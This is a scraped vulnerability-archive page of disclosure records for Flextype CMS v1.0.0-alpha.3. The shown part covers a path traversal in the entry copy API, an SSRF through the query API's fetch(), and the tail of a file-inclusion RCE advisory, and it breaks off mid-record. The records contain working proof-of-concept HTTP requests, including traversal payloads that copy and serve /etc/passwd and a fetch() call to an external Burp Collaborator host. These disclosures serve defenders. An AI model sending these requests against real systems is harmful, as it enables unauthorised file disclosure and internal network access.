PHP inclusion:* /api/v1/query allows the\n attacker to pass the created file to Shortcodes::registerShortcodes(),\n which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:02Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/27"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/27"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0171",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
"automated": true,
"contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T12:33:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0171"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:04:02Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0171"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0180
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the
Entries copy functionality. An authenticated remote attacker can supply
directory traversal sequences within both the source id and destination
new_id parameters submitted to /api/v1/entries/copy.
Flextype constructs entry directory paths by directly concatenating the
supplied entry identifier with the configured entries directory without
sufficiently canonicalizing the resulting path or verifying that it remains
within the intended project/entries directory.
As a result, an attacker can escape the configured entries directory for
both the source and destination of a copy operation. Testing confirmed that
a source identifier containing ../../../etc resolved to the system /etc
directory and that a destination identifier containing ../../etc-copy
caused the directory to be copied outside project/entries to /app/etc-copy.
The copied /etc/passwd file was subsequently accessible over HTTP from
/etc-copy/passwd, resulting in disclosure of operating-system files that
were not intended to be exposed by the web application.
Impact
Successful exploitation allows an authenticated remote attacker to escape
the Flextype entries directory and use filesystem directories outside the
intended content storage location as the source or destination of entry
copy operations.
Testing demonstrated that the vulnerability can copy operating-system files
from /etc into a web-accessible location under the application root. This
resulted in remote disclosure of /etc/passwd.
Depending on filesystem permissions, application deployment layout, and
web-server configuration, the vulnerability may allow disclosure of
sensitive application and operating-system files by copying otherwise
inaccessible directories into web-accessible locations.
The destination traversal also provides a filesystem write/copy primitive
outside the intended project/entries security boundary. This primitive may
increase the impact of other vulnerabilities when chained with
functionality capable of interpreting or executing attacker-controlled
files.
DetailsVulnerable Entry Copy Implementation
The Flextype copy() method receives the existing entry identifier and new
entry identifier and eventually passes both values to getDirectoryLocation()
:
public function copy(string $id, string $newID): bool
{
// Collections validation helper.
// Check if collections are identical.
$isValidCollections = function ($id, $newID) {
$collectionForCurrentEntry = $this->getCollectionOptions($id);
$collectionForNewEntry = $this->getCollectionOptions($newID);
$result = true;
if (! isset($collectionForCurrentEntry['filename']) ||
! isset($collectionForCurrentEntry['extension']) ||
! isset($collectionForCurrentEntry['serializer']) ||
! isset($collectionForNewEntry['filename']) ||
! isset($collectionForNewEntry['extension']) ||
! isset($collectionForNewEntry['serializer'])) {
$result = false;
}
if (($collectionForCurrentEntry['filename'] !=
$collectionForNewEntry['filename']) ||
($collectionForCurrentEntry['extension'] !=
$collectionForNewEntry['extension']) ||
($collectionForCurrentEntry['serializer'] !=
$collectionForNewEntry['serializer'])) {
$result = false;
}
return $result;
};
if (! $isValidCollections($id, $newID)) {
return false;
}
$this->registry()->set('methods.copy', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
'newID' => $newID,
],
'result' => null,
]);
emitter()->emit('onEntriesCopy');
if (! is_null($this->registry()->get('methods.copy.result')) &&
is_bool($this->registry()->get('methods.copy.result'))) {
return $this->registry()->get('methods.copy.result');
}
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
}
The getDirectoryLocation() method constructs the filesystem path using the
supplied identifier:
public function getDirectoryLocation(string $id): string
{
$this->registry()->set('methods.getDirectoryLocation', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
],
'result' => null,
]);
emitter()->emit('onEntriesGetDirectoryLocation');
if (! is_null($this->registry()->get('methods.getDirectoryLocation.result'))
&&
is_string($this->registry()->get('methods.getDirectoryLocation.result')))
{
return $this->registry()->get('methods.getDirectoryLocation.result');
}
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
}
The supplied identifier is appended directly to:
FLEXTYPE_PATH_PROJECT/<entries-directory>/
without enforcing that the canonicalized resulting path remains beneath the
intended entries directory.
Consequently, traversal sequences within an entry identifier can escape the
expected directory.
Proof of Concept — Escape Source and Destination Directories
The following request supplies traversal sequences for both the source and
destination identifiers:
PUT /api/v1/entries/copy HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"}
Given an entries directory rooted at:
/app/project/entries
the source:
../../../etc
escapes the entries directory and resolves to:
/etc
The destination:
../../etc-copy
similarly escapes the entries directory and resolves to:
/app/etc-copy
The HTTP endpoint returned:
HTTP/1.1 404 Not Found
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
Despite the HTTP 404 response, filesystem inspection confirmed that the
copy operation occurred.
Proof of Concept — Filesystem Evidence
Following the request, /etc/passwd existed beneath the attacker-selected
escaped destination:
realpath: /app/etc-copy/passwd
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
The resulting path:
/app/etc-copy/passwd
is outside the intended:
/app/project/entries
directory.
This demonstrates that the traversal sequences affected the underlying
filesystem operation despite the API returning HTTP 404.
Proof of Concept — Remote File Disclosure
The copied file could subsequently be retrieved directly through the web
server:
GET /etc-copy/passwd HTTP/1.1
Host: 127.0.0.1:18080
The application returned the copied operating-system file:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
Content-Length: 839
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
Root Cause
The root cause is insufficient validation and canonicalization of entry
identifiers before they are incorporated into filesystem paths.
The vulnerable path construction is:
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
The resulting path is then used directly by the copy operation:
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
Neither the source nor destination is shown being canonicalized and checked
to ensure it remains beneath the configured entries directory before the
filesystem copy operation occurs.
This allows ../ path components supplied through the entry identifiers to
escape the intended filesystem boundary.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0180 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n // Collections validation helper.\n // Check if collections are identical.\n $isValidCollections = function ($id, $newID) {\n $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n $collectionForNewEntry = $this-\u003egetCollectionOptions($newID);\n\n $result = true;\n\n if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n return $result;\n };\n\n if (! $isValidCollections($id, $newID)) {\n return false;\n }\n\n $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n \u0027newID\u0027 =\u003e $newID,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n }\n\n return filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n }\n\n return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/22"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/22"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0180",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
"automated": true,
"contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:22:38Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0180"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0180"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0179
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
vulnerability in the expression-processing functionality exposed through
the /api/v1/query endpoint. An authenticated remote attacker can supply an
arbitrary URL to the exposed fetch() function, causing the Flextype server
to initiate an outbound HTTP request to an attacker-controlled destination.
The application does not sufficiently restrict the destination supplied to
fetch(). Testing confirmed that an attacker-controlled expression submitted
through the Query API caused the Flextype server to connect to an external
Burp Collaborator endpoint.
The HTTP response received by the Flextype server, including its status
code, response headers, and response body, was subsequently returned to the
attacker through the API response. The vulnerability therefore provides a
non-blind SSRF primitive and allows an attacker to interact with network
resources from the security context and network position of the Flextype
server.
Impact
Successful exploitation allows an authenticated remote attacker to cause
the Flextype server to initiate arbitrary server-side HTTP requests.
Because the response to the server-side request is returned through the
Query API, an attacker may potentially use the vulnerability to enumerate
and interact with HTTP services accessible from the Flextype host,
including services that are not directly accessible from the attacker's
network location.
Depending on the deployment environment and network configuration,
potential targets may include internal web applications, administrative
interfaces, loopback services, private network resources, and other
HTTP-accessible infrastructure reachable by the Flextype server.
The demonstrated vulnerability is non-blind because response data from the
requested destination is returned to the attacker.
DetailsServer-Side Request Forgery via fetch()
The /api/v1/query endpoint accepts expressions that are evaluated by the
Flextype expression-processing environment. The environment exposes a
fetch() function capable of initiating HTTP requests.
An authenticated attacker can provide an attacker-controlled URL to this
function.
The following request instructs the Flextype server to request an external
Burp Collaborator endpoint:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}}
The server responds with the result of the outbound request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 269
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
{"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
Collaborator
https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}
The returned data identifies the destination as a Burp Collaborator server:
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Additionally, the destination's response body is returned through Flextype:
<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>
This demonstrates that the request originates from the Flextype server and
that response data is made available to the authenticated attacker.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Relationships
analysis
GCVE-1988-2026-0179 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/21"
},
{
"url": "http://042--snip--.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/"
},
{
"url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
},
{
"url": "https://github.com/ob1sec"
},
{
